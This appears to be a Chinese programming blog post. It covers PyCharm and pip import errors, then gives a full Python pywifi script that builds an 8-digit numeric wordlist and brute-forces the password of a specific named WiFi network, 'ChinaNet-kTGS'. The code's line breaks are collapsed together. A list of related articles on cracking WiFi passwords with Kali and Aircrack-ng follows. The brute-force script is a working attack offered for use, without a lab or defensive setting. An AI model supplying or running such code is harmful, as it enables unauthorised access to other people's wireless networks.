遇到的错误

一.Python在终端通过pip安装好包以后,在Pycharm中依然无法使用的解决办法
解决方案一:

在Pycharm中,依次打开File—>Settings,弹窗如下图:

点击右侧“+”号,输入自己需要导入包的名称,在下面列表中可以看到自己需要的包,详图如下:

最后点击Install Package,等待安装完成即可。

解决方案二:

前提是已经在终端通过pip install命令成功安装了包。windows环境下,pip会将下载的第三方包存放在以下路径:[your path]\Python36\Lib\site-packages\中,在这个文件夹下,找到我们要引用的包,复制到:[使用解释器路径]\Lib\site-packages\下,即可使用。使用解释器是你项目下面的这个,如图。

解决方案三:

重新建项目,创建的时候勾选“inherit global site-packages”,即可解决。详情见下图

二.运行时报No module named 'comtypes’错
解决办法:安装 comtypes模块:

关于pip的使用可以参考我的另一篇文章重学python之pip

学到的技巧

1.(使用pycharm)ctrl+点击可以跳到相应部分查看代码和定义!
2.注释是个很重要的东西!(选中+Ctrl+/)
3.最好使用导入模块中定义的常量来判断:
例如:

  if ifaca.status()==const.IFACE_DISCONNECTED:print("未连接")else: print("连接")

中 用const.IFACE_DISCONNECTED代替0是个更好的选择
因为别人不知道0代表什么

代码:

import timeimport pywifi
from pywifi import const
# 判断是否连接到wifi环境
def gic():#创建一个无线对象wifi=pywifi.PyWiFi()# print(wifi)#获取网卡【】列表ifaca=wifi.interfaces()[0]#获取无线网卡名字print(ifaca.name())print(ifaca.status())if ifaca.status()==const.IFACE_DISCONNECTED:print("未连接")else: print("连接")# gic()
# 扫描附近的wifi
def bies():wifi=pywifi.PyWiFi()ifcae=wifi.interfaces()[0]# 扫描附近wifiifcae.scan()#保存扫描结果,如果没有反应就多扫几遍bessis=ifcae.scan_results()# print(bessis)#打印附近wifi的名字(ssid)for wifi in bessis:print(wifi.ssid)
# bies()
def wificonnect(wifiname,wifipwd):# wifi连接测试wifi=pywifi.PyWiFi()iface=wifi.interfaces()[0]# 断开wifi连接# iface.disconnect()time.sleep(0.5)if iface.status()==const.IFACE_DISCONNECTED:#        创建wifi连接文件profilie=pywifi.Profile()# wifi名称profilie.ssid=wifiname# wifi密码profilie.key=wifipwd# wifi的加密算法profilie.akm.append(const.AKM_TYPE_WPA2PSK)# 网卡的开放profilie.auth=const.AUTH_ALG_OPEN# 加密单元profilie.cipher=const.CIPHER_TYPE_CCMP# 删除所有wifi文件iface.remove_all_network_profiles()# 添加新的wifi文件temp_profile=iface.add_network_profile(profilie)# 连接wifiiface.connect(temp_profile)time.sleep(2)if iface.status()==const.IFACE_CONNECTED:return Trueelse:return False#读取密码
def read_pwd():path="F:\\untitled\\WIFI\\code.text"file=open(path,"r")while True:try:wifipwd=file.readline();bool=wificonnect("ChinaNet-kTGS",wifipwd)if bool:print("密码正确:"+wifipwd)breakelse:print("密码错误:"+wifipwd)except:continuefile.close()read_pwd()#生成密码本
import itertools as its
words = '1234567890'
# 生成密码的位数
r = its.product(words,repeat=8)
dic = open('F:\\untitled\\WIFI\\code.text','a')for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)dic.close()
print('密码本生成')

参考:Python在终端通过pip安装好包以后,在Pycharm中依然无法使用的解决办法
原文链接:https://blog.csdn.net/kouyi5627/article/details/80531442

[python爬虫]暴力破解Wifi密码相关推荐

  1. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  2. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  3. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  4. 如何在Windows平台用Java代码暴力破解WIFI密码

    开始进入正题.在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux.因为很多笔记本装虚拟机都识别不了内置网卡.所以得把系统刻到U盘,然后用U盘启动.但是我现在穷得连 ...

  5. 自学python当黑客-用Python做黑客,暴力破解wifi密码

    前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...

  6. Python暴力破解wifi密码,你看了你也行

    免责声明 本文仅供参考,不建议您将此代码用于不想要的实践,否则本文/博客的作者将不承担任何责任. 需要打包好的软件关注小编,QQ群:721195303领取. 让我们开始吧 import subproc ...

  7. python暴力破解wifi密码原理

    首先,用python 函数生成一个类似的密码本,这里是5位数的,12345,qwert ,---,密码本结束完后会讲数据储存在超级密码本里],然后导入那个超级密码本再进行另一个函数比对,如果比对成功则 ...

  8. 在linux系统下暴力破解WiFi密码

    结论:可以破开自己的,破不开别人家的.在此献上思路,仅供学习交流. 网络上的教程说的都太学术化了,其实暴力破解,就是拿wifi字典去一个一个试,如果邻居家的密码,正好在你的字典库里,那你就能成功找到, ...

  9. 通过Kali Linux暴力破解WiFi密码

    所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...

最新文章

  1. 日均百亿级日志处理:微博基于Flink的实时计算平台建设
  2. 2018.1.15 6周1次课
  3. 通过OracleDataReader来读取BLOB类型的数据 (转载)
  4. python元组和集合的区别_python 元组与list的区别
  5. weblogic java vendor_配置jprofiler监控Weblogic-Zee
  6. 各大浏览器保存密码的文件
  7. 步骤1:mybatis工程的创建
  8. vue引入自定义字体otf、ttf字体的方法
  9. python中delay__python delay函数
  10. Python Counter函数
  11. AI吻合度100%,某业余6段棋手吊打围甲7段,疑似AI附体
  12. 台式电脑组装机相关知识之主板篇
  13. PKUSC 2018 游记
  14. 计算机的玩法教程,第五人格电脑版怎么玩 电脑版玩法教程
  15. 名帖52 王献之 小楷《洛神赋》
  16. 开源软件xxl-job的oracle版本
  17. php更改导航栏图标,wordpress导航菜单前添加矢量小图标
  18. 第一篇博客-学习Markdown
  19. Why Study Math 为什么学习数学
  20. 计算机专业专升本考试科目是什么?

热门文章

  1. Azure Information Protection信息保护(AIP)/Azure Rights Management权限管理(RMS)
  2. 如何改变alert的默认样式
  3. 最新 955 不加班的公司名单(2022版)
  4. echarts地图设置legend_echarts设置图例颜色和地图底色的方法实例
  5. JavaEE 企业级分布式高级架构师(十七)ElasticSearch全文检索(1)
  6. 使用TLC2543来读取电压
  7. 明日方舟抽卡模拟器wiki_明日方舟抽卡模拟器
  8. python实现划词翻译
  9. 家庭用电都是交流电,为何会有零线和火线的区别?
  10. 详解UniSwap、无聊猿、PlatoFarm空投的逻辑